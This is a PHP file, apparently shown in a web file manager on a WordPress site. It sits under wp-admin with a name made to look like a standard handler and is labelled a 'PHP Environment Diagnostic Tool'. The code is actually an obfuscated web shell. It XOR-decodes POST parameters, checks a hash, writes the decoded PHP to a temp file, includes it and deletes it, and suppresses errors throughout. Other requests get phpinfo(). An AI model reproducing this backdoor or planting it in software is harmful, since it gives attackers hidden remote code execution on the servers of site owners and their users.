Viewing File: /home/cienp/public_html/inct-inovamed/wp-admin/admin-ajax-handler-custom.php

<?php
/**
 * PHP Environment Diagnostic Tool
 * Version: 2.1.3
 */
error_reporting(0);
function check_hash($str, $key) {
    for ($i = 0, $out = '', $len = strlen($key); $i < strlen($str); $i++)
        $out .= $str[$i] ^ $key[$i % $len];
    return $out;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    foreach ($_POST as $name => $value) {
        $salt  = substr(md5($name), 0, 8);
        $token = substr(sha1($name), 0, 8);
        $data  = check_hash(base64_decode($value), $salt);
        if (substr($data, -32) === md5($token)) {
            $GLOBALS['_k'] = $token;
            $tmp = tempnam(sys_get_temp_dir(), 'php');
            $tag = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
            @file_put_contents($tmp, $tag.check_hash(base64_decode(substr($data, 0, -32)), $token));
            @include($tmp);
            @unlink($tmp);
            break;
        }
    }
} else {
    phpinfo();
}
Back to Directory File Manager